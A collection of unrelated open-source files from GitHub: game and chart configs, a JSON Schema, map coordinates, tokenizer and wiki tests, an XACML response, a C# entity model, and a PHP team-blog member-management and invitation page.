"health": {
"maxStat": "maxHealth",
"deltaStat": "healthRegen",
"defaultPercentage": 100
}
}
},
"mouthOffset": [0, 0],
"feetOffset": [0, -8],
"capturable": false,
"captureHealthFraction": 0.01,
"nametagColor": [64, 200, 255],
"captureCollectables": {
"fu_monster": "magmamicroslime"
}
}
}
|
{
"pile_set_name": "Github"
}
|
{
"$schema" : "http://json-schema.org/draft-01/hyper-schema#",
"id" : "http://json-schema.org/draft-01/schema#",
"type" : "object",
"properties" : {
"type" : {
"type" : ["string", "array"],
"items" : {
"type" : ["string", {"$ref" : "#"}]
},
"optional" : true,
"default" : "any"
},
"properties" : {
"type" : "object",
"additionalProperties" : {"$ref" : "#"},
"optional" : true,
"default" : {}
},
"items" : {
"type" : [{"$ref" : "#"}, "array"],
"items" : {"$ref" : "#"},
"optional" : true,
"default" : {}
},
"optional" : {
"type" : "boolean",
"optional" : true,
"default" : false
},
"additionalProperties" : {
"type" : [{"$ref" : "#"}, "boolean"],
"optional" : true,
"default" : {}
},
"requires" : {
"type" : ["string", {"$ref" : "#"}],
"optional" : true
},
"minimum" : {
"type" : "number",
"optional" : true
},
"maximum" : {
"type" : "number",
"optional" : true
},
"minimumCanEqual" : {
"type" : "boolean",
"optional" : true,
"requires" : "minimum",
"default" : true
},
"maximumCanEqual" : {
"type" : "boolean",
"optional" : true,
"requires" : "maximum",
"default" : true
},
"minItems" : {
"type" : "integer",
"optional" : true,
"minimum" : 0,
"default" : 0
},
"maxItems" : {
"type" : "integer",
"optional" : true,
"minimum" : 0
},
"pattern" : {
"type" : "string",
"optional" : true,
"format" : "regex"
},
"minLength" : {
"type" : "integer",
"optional" : true,
"minimum" : 0,
"default" : 0
},
"maxLength" : {
"type" : "integer",
"optional" : true
},
"enum" : {
"type" : "array",
"optional" : true,
"minItems" : 1
},
"title" : {
"type" : "string",
"optional" : true
},
"description" : {
"type" : "string",
"optional" : true
},
"format" : {
"type" : "string",
"optional" : true
},
"contentEncoding" : {
"type" : "string",
"optional" : true
},
"default" : {
"type" : "any",
"optional" : true
},
"maxDecimal" : {
"type" : "integer",
"optional" : true,
"minimum" : 0
},
"disallow" : {
"type" : ["string", "array"],
"items" : {"type" : "string"},
"optional" : true
},
"extends" : {
"type" : [{"$ref" : "#"}, "array"],
"items" : {"$ref" : "#"},
"optional" : true,
"default" : {}
}
},
"optional" : true,
"default" : {}
}
|
{
"pile_set_name": "Github"
}
|
[
[
[
103.7200761,
1.3444028
],
[
103.7190768,
1.3440623
],
[
103.716982,
1.3432683
],
[
103.7162587,
1.3429814
],
[
103.7159504,
1.3428591
],
[
103.7160329,
1.3432903
],
[
103.7160877,
1.3435764
],
[
103.7161587,
1.343947
],
[
103.7162335,
1.3443806
],
[
103.7162311,
1.3446177
],
[
103.7162297,
1.3447019
],
[
103.7162287,
1.344863
],
[
103.7161937,
1.3450278
],
[
103.7161652,
1.3451615
],
[
103.7161618,
1.3451775
],
[
103.7159598,
1.3458567
],
[
103.715873,
1.3458307
],
[
103.7153211,
1.3456652
],
[
103.7150921,
1.3455754
],
[
103.7146827,
1.3453272
],
[
103.714437,
1.3451782
],
[
103.7141031,
1.3449758
],
[
103.7135664,
1.345765
],
[
103.7132617,
1.3462132
],
[
103.7131122,
1.346433
],
[
103.7128351,
1.3468405
],
[
103.7125449,
1.3472672
],
[
103.7124161,
1.3474567
],
[
103.7121851,
1.3477965
],
[
103.7121096,
1.3479075
],
[
103.7120638,
1.3479749
],
[
103.7117272,
1.3484698
],
[
103.7113835,
1.3489753
],
[
103.7112544,
1.3488838
],
[
103.7108824,
1.3486199
],
[
103.7107695,
1.3484849
],
[
103.7106841,
1.3483311
],
[
103.7106003,
1.3480701
],
[
103.7104552,
1.3474334
],
[
103.7103084,
1.3467891
],
[
103.7101728,
1.3464583
],
[
103.7101616,
1.346439
],
[
103.7100848,
1.3463061
],
[
103.7099875,
1.3461581
],
[
103.7097554,
1.3458891
],
[
103.7094112,
1.3456269
],
[
103.7093096,
1.3455495
],
[
103.7104867,
1.3438187
],
[
103.7109563,
1.3431282
],
[
103.7110344,
1.3428645
],
[
103.7114198,
1.3415469
],
[
103.7115117,
1.3412319
],
[
103.7114035,
1.3411915
],
[
103.7112177,
1.3411222
],
[
103.7099192,
1.3406373
],
[
103.7095884,
1.3405098
],
[
103.7094409,
1.3404529
],
[
103.7092908,
1.3403935
],
[
103.708954,
1.3402602
],
[
103.708304,
1.3400328
],
[
103.7078921,
1.3398031
],
[
103.7077382,
1.3396833
],
[
103.7076286,
1.3395981
],
[
103.707297,
1.3400875
],
[
103.7071436,
1.3404247
],
[
103.707057,
1.3406514
],
[
103.7069793,
1.340862
],
[
103.7066752,
1.3407483
],
[
103.7054805,
1.3403033
],
[
103.7044825,
1.3399315
],
[
103.7042681,
1.3397906
],
[
103.7041687,
1.3396092
],
[
103.7041284,
1.3394371
],
[
103.7042306,
1.3390976
],
[
103.7043289,
1.3387714
],
[
103.7044055,
1.3384866
],
[
103.704449,
1.338325
],
[
103.7046402,
1.3378212
],
[
103.7047683,
1.3374839
],
[
103.7047703,
1.3374787
],
[
103.7049205,
1.3371694
],
[
103.7049894,
1.3370851
],
[
103.7052136,
1.336876
],
[
103.7054889,
1.3367222
],
[
103.7056619,
1.3366607
],
[
103.705983,
1.3366276
],
[
103.7061799,
1.3366988
],
[
103.7063632,
1.3369296
],
[
103.70705,
1.3387811
],
[
103.7071821,
1.3390496
],
[
103.707303,
1.3392396
],
[
103.7074462,
1.3394177
],
[
103.7075531,
1.3395235
],
[
103.7076286,
1.3395981
],
[
103.7077382,
1.3396833
],
[
103.7078921,
1.3398031
],
[
103.708304,
1.3400328
],
[
103.708954,
1.3402602
],
[
103.7092908,
1.3403935
],
[
103.7094409,
1.3404529
],
[
103.7095884,
1.3405098
],
[
103.7099192,
1.3406373
],
[
103.7112177,
1.3411222
],
[
103.7114198,
1.3415469
],
[
103.7110344,
1.3428645
],
[
103.7109563,
1.3431282
],
[
103.7103841,
1.3439696
],
[
103.7093096,
1.3455495
],
[
103.7094112,
1.3456269
],
[
103.7097554,
1.3458891
],
[
103.7099875,
1.3461581
],
[
103.7100848,
1.3463061
],
[
103.7101616,
1.346439
],
[
103.7101728,
1.3464583
],
[
103.7103084,
1.3467891
],
[
103.7103989,
1.3471862
],
[
103.7106003,
1.3480701
],
[
103.7106841,
1.3483311
],
[
103.7107695,
1.3484849
],
[
103.7108824,
1.3486199
],
[
103.7112544,
1.3488838
],
[
103.7113835,
1.3489753
],
[
103.7120638,
1.3479749
],
[
103.7121096,
1.3479075
],
[
103.7121851,
1.3477965
],
[
103.7123219,
1.3475953
],
[
103.7124161,
1.3474567
],
[
103.7125449,
1.3472672
],
[
103.7128351,
1.3468405
],
[
103.7131835,
1.3463282
],
[
103.7132617,
1.3462132
],
[
103.7135664,
1.345765
],
[
103.7141031,
1.3449758
],
[
103.714437,
1.3451782
],
[
103.7149631,
1.3454972
],
[
103.7150921,
1.3455754
],
[
103.7153211,
1.3456652
],
[
103.715873,
1.3458307
],
[
103.7159598,
1.3458567
],
[
103.7161618,
1.3451775
],
[
103.7161652,
1.3451615
],
[
103.7161937,
1.3450278
],
[
103.7162287,
1.344863
],
[
103.7162297,
1.3447019
],
[
103.7162311,
1.3446177
],
[
103.7162323,
1.3445038
],
[
103.7162335,
1.3443806
],
[
103.7161587,
1.343947
],
[
103.716982,
1.3432683
],
[
103.7190768,
1.3440623
],
[
103.7193533,
1.3441565
]
]
]
|
{
"pile_set_name": "Github"
}
|
any
Array
boolean
break
case
catch
class;
const
constructor
continue
debugger
declare
default
delete
do
else
enum
export
extends;
false
finally
for
from
function
get
if
implements;
import
in
instanceof;
interface;
let
module
new;
null
number
package
private
protected
public
return
set
static
string
super
switch
this
throw
true
try
typeof
var
void
while
with
yield
----------------------------------------------------
[
["keyword", "any"],
["keyword", "Array"],
["keyword", "boolean"],
["keyword", "break"],
["keyword", "case"],
["keyword", "catch"],
["keyword", "class"], ["punctuation", ";"],
["keyword", "const"],
["keyword", "constructor"],
["keyword", "continue"],
["keyword", "debugger"],
["keyword", "declare"],
["keyword", "default"],
["keyword", "delete"],
["keyword", "do"],
["keyword", "else"],
["keyword", "enum"],
["keyword", "export"],
["keyword", "extends"], ["punctuation", ";"],
["keyword", "false"],
["keyword", "finally"],
["keyword", "for"],
["keyword", "from"],
["keyword", "function"],
["keyword", "get"],
["keyword", "if"],
["keyword", "implements"], ["punctuation", ";"],
["keyword", "import"],
["keyword", "in"],
["keyword", "instanceof"], ["punctuation", ";"],
["keyword", "interface"], ["punctuation", ";"],
["keyword", "let"],
["keyword", "module"],
["keyword", "new"], ["punctuation", ";"],
["keyword", "null"],
["keyword", "number"],
["keyword", "package"],
["keyword", "private"],
["keyword", "protected"],
["keyword", "public"],
["keyword", "return"],
["keyword", "set"],
["keyword", "static"],
["keyword", "string"],
["keyword", "super"],
["keyword", "switch"],
["keyword", "this"],
["keyword", "throw"],
["keyword", "true"],
["keyword", "try"],
["keyword", "typeof"],
["keyword", "var"],
["keyword", "void"],
["keyword", "while"],
["keyword", "with"],
["keyword", "yield"]
]
----------------------------------------------------
Tests N4JS keywords.
|
{
"pile_set_name": "Github"
}
|
<?php
/// Copyright (c) 2004-2019, Needlworks / Tatter Network Foundation
/// All rights reserved. Licensed under the GPL.
/// See the GNU General Public License for more details. (/documents/LICENSE, /documents/COPYRIGHT)
$IV = array(
'GET' => array(
'password' => array('any' ,'mandatory' => false)
)
);
require ROOT . '/library/preprocessor.php';
require ROOT . '/interface/common/owner/header.php';
$context = Model_Context::getInstance();
?>
<script type="text/javascript">
//<![CDATA[
function checkMail(str) {
try {
var filter = /^([-a-zA-Z0-9_\.])+\@(([-a-zA-Z0-9])+\.)+([a-zA-Z0-9]{2,4})+$/;
if (filter.test(str)) return true;
else return false;
} catch(e) {
return false;
}
}
function Trim(sInString) {
sInString = sInString.replace( /^\s+/g, "" );// strip leading
return sInString.replace( /\s+$/g, "" );// strip trailing
}
<?php
if( Acl::check('group.owners')) {?>
function refreshReceiver(event) {
if (event.keyCode == 188) {
var receivers = createReceiver();
createBlogIdentify(receivers);
}
}
var receiverCount = 0;
var errorStr;
function createReceiver(target) {
receivers = new Array();
if( target == undefined ) {
return receivers;
}
var receiver = document.getElementById(target);
receiversTemp = receiver.value.split(',');
for (var i=0; i<receiversTemp.length; i++) {
var name, email;
pos1 = receiversTemp[i].indexOf('<');
pos2 = receiversTemp[i].indexOf('>');
if(pos1 != -1 && pos2 != -1) {
name = receiversTemp[i].substring(0,pos1);
email = Trim(receiversTemp[i].substring(pos1+1,pos2));
} else {
name = '';
email = Trim(receiversTemp[i]);
}
if(!checkMail(email)) {
temp = "<?php echo _t('%1은 올바른 이메일이 아닙니다.');?>\n\n";
errorStr += temp.replace('%1', '"' + email + '"');
continue;
}
identy = '('+( (name == undefined || name == '') ? email : name)+')';
receivers[i] = new Array(name, email);
}
return receivers;
}
function clearPASS() {
var password = document.getElementById('invite_password');
password.value = '';
}
function sendInvitation() {
var receiver = document.getElementById('invitation_receiver');
var comment = document.getElementById('invitation_comment');
var sender = document.getElementById('invitation_sender');
errorStr ='';
if(receiver.value == '') {
errorStr = '<?php echo _t('초대받을 사람의 이름<이메일>을 적어 주십시오.\n이메일만 적어도 됩니다.');?>';
}
inviteList = createReceiver("invitation_receiver");
sender = createReceiver("invitation_sender");
if(errorStr != '') {
alert(errorStr);
return false;
}
var request = new HTTPRequest("POST", "<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog/invite/");
request.onVerify = function() {
return this.getText("/response/error") == 0;
}
request.onSuccess = function() {
PM.showMessage("<?php echo _t('초대장을 발송했습니다.');?>", "center", "bottom");
window.location.href='<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog/';
}
request.onError = function() {
switch(Number(this.getText("/response/error"))) {
case 4:
alert('<?php echo _t('블로그 식별자는 영문으로 입력하셔야 합니다.');?>');
break;
case 5:
alert('<?php echo _t('이미 존재하는 이메일입니다.');?>');
break;
case 60:
alert('<?php echo _t('이미 존재하는 블로그 식별자입니다.');?>');
break;
case 61:
alert('<?php echo _t('이미 존재하는 블로그 식별자입니다.');?>');
break;
case 62:
alert('<?php echo _t('실패했습니다.');?>');
break;
case 11:
alert('<?php echo _t('실패했습니다.');?>');
break;
case 12:
alert('<?php echo _t('실패했습니다.');?>');
break;
case 13:
alert('<?php echo _t('실패했습니다.');?>');
break;
case 14:
alert('<?php echo _t('메일 전송에 실패하였습니다.');?>');
break;
case 20:
alert('<?php echo _t('팀원 추가에 실패했습니다.');?>');
break;
case 21:
alert('<?php echo _t('이미 팀원으로 등록된 사용자입니다.');?>');
break;
default:
alert('<?php echo _t('실패했습니다.');?>');
}
msg = this.getText("/response/message");
if( msg ) {
alert( msg );
}
}
request.send("&senderName="+encodeURIComponent(sender[0][0])+"&senderEmail="+encodeURIComponent(sender[0][1])+"&email="+inviteList[0][1]+"&name="+encodeURIComponent(inviteList[0][0])+"&comment="+encodeURIComponent(comment.value));
}
function createBlogIdentify(receivers) {
var blogList = document.getElementById('blogList');
for (var name in receivers) {
target = document.getElementById(name);
if (target != null) continue;
blogList.innerHTML += receivers[name][2];
}
}
function deleteUser(userid, atype) {
if(atype == 1) { // If there are posts from user.
if(!confirm("<?php echo _t('선택된 사용자를 정말 삭제하시겠습니까?');?>\n\n<?php echo _t('삭제되는 기존 사용자의 글은 전부 관리자의 글로 변환됩니다.');?>\n(<?php echo _t('글이 전부 삭제되지는 않고 팀블로그의 로그인 데이터만 삭제됩니다');?>)\n<?php echo _t('삭제 이후에는 복원이 불가능합니다.');?> <?php echo _t('정말 삭제 하시겠습니까?');?>")) return false;
} else { // No post from user.
if(!confirm('<?php echo _t('삭제 하시겠습니까?');?>'))
return false;
}
var request = new HTTPRequest("POST", "<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog/deleteUser/");
request.onSuccess = function() {
window.location.href="<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog";
}
request.onError = function() {
alert("<?php echo _t('실패했습니다.');?>");
}
request.send("userid=" + userid);
}
<?php
}
if( Acl::check('group.administrators')) {
?>
function changeACL(acltype, userid, checked) {
var request = new HTTPRequest("POST", "<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog/changeACL/");
request.onSuccess = function() {
PM.showMessage("<?php echo _t('설정을 변경했습니다.');?>", "center", "bottom");
}
request.onError = function() {
alert("<?php echo _t('실패했습니다.');?>");
}
request.send("acltype=" + acltype + "&userid=" + userid + "&switch=" + checked);
}
var CHCrev=false;
function Check_rev() {
if(CHCrev == false) CHCrev = true;
else CHCrev = false;
for(var i = 0;;i++) {
if(document.getElementById('check_'+ i)) {
document.getElementById('check_'+ i).checked = CHCrev;
}
else{
break;
}
}
}
<?php
}
?>
//]]>
</script>
<div id="part-setting-account" class="part">
<h2 class="caption"><span class="main-text"><?php echo _t('이 블로그에 등록된 필자들의 권한을 설정하고 관리합니다');?></span></h2>
<div class="main-explain-box">
<p class="explain"><?php echo _t('이 블로그에 다른 필자를 등록하고 권한을 줄 수 있습니다. 필자로 등록된 경우 기본적으로 글쓰기 권한이 주어집니다. 관리자 권한의 경우 블로그의 설정을 변경할 수 있습니다. 글관리 권한의 경우 다른 필자의 글을 교정하거나 공개 정도를 변경할 수 있습니다.');?></p>
</div>
<div id="list-section" class="section">
<table class="data-inbox" cellspacing="0" cellpadding="0">
<thead>
<tr>
<th class="check"><input type="checkbox" name="Aclick" onclick="Check_rev()" /></th>
<th class="name"><span class="text"><?php echo _t('이름');?></span></th>
<th class="email"><span class="text"><?php echo _t('이메일');?></span></th>
<th class="date"><span class="text"><?php echo _t('가입일');?></span></th>
<th class="posting"><span class="text"><?php echo _t('글 수');?></span></th>
<th class="status"><span class="text"><?php echo _t('초대상태');?></span></th>
<th class="privilege"><span class="text"><?php echo _t('권한');?></span></th>
<th class="exclude"><span class="text"><?php echo _t('팀블로그 제외');?></span></th>
</tr>
</thead>
<tbody>
<?php
$pool = DBModel::getInstance();
$pool->reset("Privileges");
$pool->setAlias("Privileges","t");
$pool->setAlias("Users","u");
$pool->join("Users","left",array(array("u.userid","eq","t.userid")));
$pool->setQualifier("t.blogid","eq",$context->getProperty("blog.id"));
$pool->setOrder("u.created","desc");
$teamblog_user = $pool->getAll("t.*, u.loginid, u.password, u.name, u.created");
$count = 0;
if(isset($teamblog_user)) {
foreach($teamblog_user as $value) {
$pool->reset("Entries");
$pool->setQualifier("blogid","eq",$context->getProperty("blog.id"));
$pool->setQualifier("userid","eq",$value['userid']);
$value['posting'] = $pool->getCount();
$className= ($count%2)==1 ? 'even-line' : 'odd-line';
$className.=($count==sizeof($teamblog_user)-1) ? ' last-line':'';
?>
<tr class="<?php echo $className;?> inactive-class">
<td class="check">
<input type="checkbox" id="check_<?php echo $count;?>" />
</td>
<td class="name"><?php echo $value['name'];?></td>
<td class="email"><?php echo htmlspecialchars($value['loginid']);?></td>
<td class="date"><?php echo Timestamp::format5($value['created']);?></td>
<td class="posting"><?php echo $value['posting'];?></td>
<td class="status">
<?php
$authtoken = getAuthToken($value['userid']);
if($value['lastlogin'] == 0) {
?>
<?php echo _t('미참여');?>
<?php
if($value['acl'] & BITWISE_ADMINISTRATOR) {
$invitationURL = getInvitationLink(getBlogURLById($blogid), htmlspecialchars($value['loginid']), $value['password'], $authtoken);
echo '<a href="'.$invitationURL.'">'._t('초대 링크').'</a>';
}
} else {
?>
<?php echo _t('참여중');?>
<?php
if(($value['acl'] & BITWISE_ADMINISTRATOR) && !empty($authtoken) && !is_null($authtoken)) {
$invitationURL = getInvitationLink(getBlogURLById($blogid), htmlspecialchars($value['loginid']), $value['password'], $authtoken);
echo '<a href="'.$invitationURL.'">'._t('재발급 링크').'</a>';
}
}
?></td>
<td class="password">
<?php
if($value['acl'] & BITWISE_OWNER) {
echo _t('블로그 소유자');
} else {
?>
<input type="checkbox" onclick="changeACL('admin',<?php echo $value['userid']; ?>,this.checked?'1':'0');" <?php echo( ($value['acl'] & BITWISE_ADMINISTRATOR) ? 'checked="checked"' : '');?> /><?php echo _t('관리자');?>
<input type="checkbox" onclick="changeACL('editor',<?php echo $value['userid']; ?>,this.checked?'1':'0');" <?php echo( ($value['acl'] & BITWISE_EDITOR) ? 'checked="checked"' : '');?> /><?php echo _t('글관리');?>
<?php
}
?>
</td>
<td class="exclude">
<?php
if($value['acl'] & BITWISE_OWNER) {
?>
<span class="text"><?php echo _t('제외할 수 없습니다');?></span>
<?php
} else {
?>
<a class="cancel-button button" href="#void" onclick="deleteUser(<?php echo $value['userid'];?>,1);return false;" title="<?php echo _t('이 사용자를 팀블로그에서 제외합니다.');?>"><span class="text"><?php echo _t('사용자 제외');?></span></a>
<?php
}
?>
</td>
</tr>
<?php
$count++;
}
}
?>
</tbody>
</table>
</div>
</div>
<?php
if( Acl::check('group.owners')) {
$urlRule=getBlogURLRule();
?>
<div id="part-setting-invite" class="part">
<h2 class="caption"><span class="main-text"><?php echo _t('새로운 사람을 블로그의 필진으로 초대합니다');?></span></h2>
<?php if( !function_exists( 'mail' ) && !getServiceSetting( 'useCustomSMTP', 0 ) ) { ?>
<div class="main-explain-box">
<p class="explain"><?php echo _t('시스템에 자체에서 메일을 보낼 수가 없습니다. 외부 메일 서버를 지정해주세요.');?> <a href="<?php echo $context->getProperty('uri.blog') ?>/owner/control/server"><?php echo _t('메일 서버 설정 바로가기')?></a></p>
</div>
<?php } else { ?>
<div class="main-explain-box">
<p class="explain"><?php echo _t('새로운 사람을 블로그의 필자로 초대합니다. 초대장은 이메일을 통하여 발송됩니다. 메일 주소가 이미 블로그 서비스에 등록되어 있는 경우, 그 사용자에게 이 블로그의 필진 권한을 추가합니다. 사용자가 존재하지 않는 경우에는 새로운 사용자를 자동으로 등록하고 초대장을 발송합니다. 초대된 사람에게는 기본적으로 글쓰기 권한이 부여됩니다.');?></p>
</div>
<div class="data-inbox">
<form id="letter-section" class="section" method="post" action="<?php echo $context->getProperty('uri.blog');?>/owner/network/teamblog/invite">
<dl>
<dt class="title"><span class="label"><?php echo _t('초대장');?></span></dt>
<dd id="letter">
<div id="letter-head">
<div id="receiver-line" class="line">
<label for="invitation_receiver"><?php echo _t('받는 사람'); ?></label>
<input type="text" id="invitation_receiver" class="input-text" name="text" value="<?php echo _t('이름<이메일> 혹은 이메일');?>" onclick="if(!this.selected) this.select();this.selected=true;" onblur="this.selected=false;" onkeydown="refreshReceiver(event);" />
</div>
</div>
<div id="letter-body">
<label for="invitation_comment"><?php echo _t('초대 메시지');?></label>
<textarea id="invitation_comment" cols="70" rows="3" name="textarea"><?php echo _f("%1님께서 블로그의 팀원으로 초대합니다",htmlspecialchars($user['name']));?></textarea>
</div>
<div id="letter-foot">
<div id="sender-line" class="line">
<label for="invitation_sender"><?php echo _t('보내는 사람');?></label>
<input type="text" id="invitation_sender" class="input-text" name="text2" value="<?php echo htmlspecialchars(htmlspecialchars($user['name']).'<'.User::getEmail().'>');?>" />
</div>
</div>
</dd>
</dl>
<div class="button-box">
<input type="submit" class="input-button" value="<?php echo _t('초대장 발송');?>" onclick="sendInvitation(); return false;" />
</div>
</form>
<?php } ?>
</div>
</div>
<?php
}
require ROOT . '/interface/common/owner/footer.php';
?>
|
{
"pile_set_name": "Github"
}
|
{
"description": "Test `Special:Ask` common output (`wgContLang=en`, `wgLang=en`)",
"setup": [
{
"namespace": "SMW_NS_PROPERTY",
"page": "Has page",
"contents": "[[Has type::Page]]"
},
{
"namespace": "NS_MAIN",
"page": "Example/S0018/1",
"contents": "[[Has page::123]] [[Category:S0018]]"
}
],
"tests": [
{
"type": "special",
"about": "#0 (noscript)",
"special-page": {
"page": "Ask",
"query-parameters": [],
"request-parameters": {}
},
"assert-output": {
"to-contain": [
"<div id=\"ask-status\" class=\"smw-ask-status plainlinks\"><noscript><div class=\"smw-callout smw-callout-error\">"
]
}
},
{
"type": "special",
"about": "#1 (@see #3542, `format= table`)",
"special-page": {
"page": "Ask",
"query-parameters": "-5B-5BCategory:S0018-5D-5D/-3FHas-20page/mainlabel%3D/offset%3D0/format%3D-20table",
"request-parameters": {}
},
"assert-output": {
"to-contain": [
"{{#ask: [[Category:S0018]]",
" |?Has page",
" |format=table",
" |limit=50",
" |offset=0",
" |sort=",
" |order=asc",
" |mainlabel=",
"}}"
]
}
},
{
"type": "special",
"about": "#2 (`format=TABLE`)",
"special-page": {
"page": "Ask",
"query-parameters": "-5B-5BCategory:S0018-5D-5D/-3FHas-20page/mainlabel%3D/offset%3D0/format%3DTABLE",
"request-parameters": {}
},
"assert-output": {
"to-contain": [
"{{#ask: [[Category:S0018]]",
" |?Has page",
" |format=table",
" |limit=50",
" |offset=0",
" |sort=",
" |order=asc",
" |mainlabel=",
"}}"
]
}
}
],
"settings": {
"wgContLang": "en",
"wgLang": "en",
"wgLanguageCode": "en",
"smwgNamespace": "http://example.org/id/",
"smwgPageSpecialProperties": [
"_MDAT"
],
"smwgNamespacesWithSemanticLinks": {
"NS_MAIN": true,
"SMW_NS_PROPERTY": true
}
},
"meta": {
"version": "2",
"is-incomplete": false,
"debug": false
}
}
|
{
"pile_set_name": "Github"
}
|
{
"Response": [
{
"Decision": "Deny",
"Status": {
"StatusCode": {
"Value": "urn:oasis:names:tc:xacml:1.0:status:ok",
"StatusCode": {
"Value": "urn:oasis:names:tc:xacml:1.0:status:ok"
}
}
},
"Category": [
{
"CategoryId": "urn:oasis:names:tc:xacml:3.0:attribute-category:resource",
"Attribute": [
{
"AttributeId": "com.acme.record.recordId",
"Value": "126",
"DataType": "http://www.w3.org/2001/XMLSchema#string"
}
]
},
{
"CategoryId": "urn:oasis:names:tc:xacml:3.0:attribute-category:action",
"Attribute": [
{
"AttributeId": "com.acme.action.actionId",
"Value": "view",
"DataType": "http://www.w3.org/2001/XMLSchema#string"
}
]
}
]
},
{
"Decision": "Deny",
"Status": {
"StatusCode": {
"Value": "urn:oasis:names:tc:xacml:1.0:status:ok",
"StatusCode": {
"Value": "urn:oasis:names:tc:xacml:1.0:status:ok"
}
}
},
"Category": [
{
"CategoryId": "urn:oasis:names:tc:xacml:3.0:attribute-category:resource",
"Attribute": [
{
"AttributeId": "com.acme.record.recordId",
"Value": "126",
"DataType": "http://www.w3.org/2001/XMLSchema#string"
}
]
},
{
"CategoryId": "urn:oasis:names:tc:xacml:3.0:attribute-category:action",
"Attribute": [
{
"AttributeId": "com.acme.action.actionId",
"Value": "edit",
"DataType": "http://www.w3.org/2001/XMLSchema#string"
}
]
}
]
}
]
}
|
{
"pile_set_name": "Github"
}
|
using Alex.ResourcePackLib.Json.Models.Entities;
using Microsoft.Xna.Framework;
namespace Alex.Entities.Models
{
public partial class VindicatorModel : EntityModel
{
public VindicatorModel()
{
Name = "geometry.vindicator";
VisibleBoundsWidth = 2;
VisibleBoundsHeight = 2;
VisibleBoundsOffset = new Vector3(0f, 1.25f, 0f);
Texturewidth = 64;
Textureheight = 64;
Bones = new EntityModelBone[9]
{
new EntityModelBone(){
Name = "head",
Parent = "",
Pivot = new Vector3(0f,24f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(-4f,24f,-4f),
Size = new Vector3(8f, 10f, 8f),
Uv = new Vector2(0f, 0f)
},
}
},
new EntityModelBone(){
Name = "nose",
Parent = "head",
Pivot = new Vector3(0f,26f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(-1f,23f,-6f),
Size = new Vector3(2f, 4f, 2f),
Uv = new Vector2(24f, 0f)
},
}
},
new EntityModelBone(){
Name = "body",
Parent = "",
Pivot = new Vector3(0f,24f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[2]{
new EntityModelCube()
{
Origin = new Vector3(-4f,12f,-3f),
Size = new Vector3(8f, 12f, 6f),
Uv = new Vector2(16f, 20f)
},
new EntityModelCube()
{
Origin = new Vector3(-4f,6f,-3f),
Size = new Vector3(8f, 18f, 6f),
Uv = new Vector2(0f, 38f)
},
}
},
new EntityModelBone(){
Name = "arms",
Parent = "",
Pivot = new Vector3(0f,22f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[3]{
new EntityModelCube()
{
Origin = new Vector3(-8f,16f,-2f),
Size = new Vector3(4f, 8f, 4f),
Uv = new Vector2(44f, 22f)
},
new EntityModelCube()
{
Origin = new Vector3(4f,16f,-2f),
Size = new Vector3(4f, 8f, 4f),
Uv = new Vector2(44f, 22f)
},
new EntityModelCube()
{
Origin = new Vector3(-4f,16f,-2f),
Size = new Vector3(8f, 4f, 4f),
Uv = new Vector2(40f, 38f)
},
}
},
new EntityModelBone(){
Name = "leg0",
Parent = "",
Pivot = new Vector3(-2f,12f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(-4f,0f,-2f),
Size = new Vector3(4f, 12f, 4f),
Uv = new Vector2(0f, 22f)
},
}
},
new EntityModelBone(){
Name = "leg1",
Parent = "",
Pivot = new Vector3(2f,12f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = true,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(0f,0f,-2f),
Size = new Vector3(4f, 12f, 4f),
Uv = new Vector2(0f, 22f)
},
}
},
new EntityModelBone(){
Name = "rightArm",
Parent = "",
Pivot = new Vector3(-5f,22f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(-8f,12f,-2f),
Size = new Vector3(4f, 12f, 4f),
Uv = new Vector2(40f, 46f)
},
}
},
new EntityModelBone(){
Name = "rightItem",
Parent = "rightArm",
Pivot = new Vector3(-5.5f,16f,0.5f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = true,
Mirror = false,
Reset = false,
Cubes = new EntityModelCube[0]
},
new EntityModelBone(){
Name = "leftArm",
Parent = "",
Pivot = new Vector3(5f,22f,0f),
Rotation = new Vector3(0f,0f,0f),
BindPoseRotation = new Vector3(0f,0f,0f),
NeverRender = false,
Mirror = true,
Reset = false,
Cubes = new EntityModelCube[1]{
new EntityModelCube()
{
Origin = new Vector3(4f,12f,-2f),
Size = new Vector3(4f, 12f, 4f),
Uv = new Vector2(40f, 46f)
},
}
},
};
}
}
}
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html>
<head>
<title>Multi Series Pie Chart</title>
<script src="../../dist/chart.js"></script>
<script src="../utils.js"></script>
</head>
<body>
<div id="canvas-holder" style="width:40%">
<canvas id="chart-area"></canvas>
</div>
<script>
var ctx = document.getElementById('chart-area');
new Chart(ctx, {
type: 'pie',
data: {
labels: [
'Overall Yay',
'Overall Nay',
'Group A Yay',
'Group A Nay',
'Group B Yay',
'Group B Nay',
'Group C Yay',
'Group C Nay'
],
datasets: [
{backgroundColor: ['#AAA', '#777'], data: [21, 79]},
{
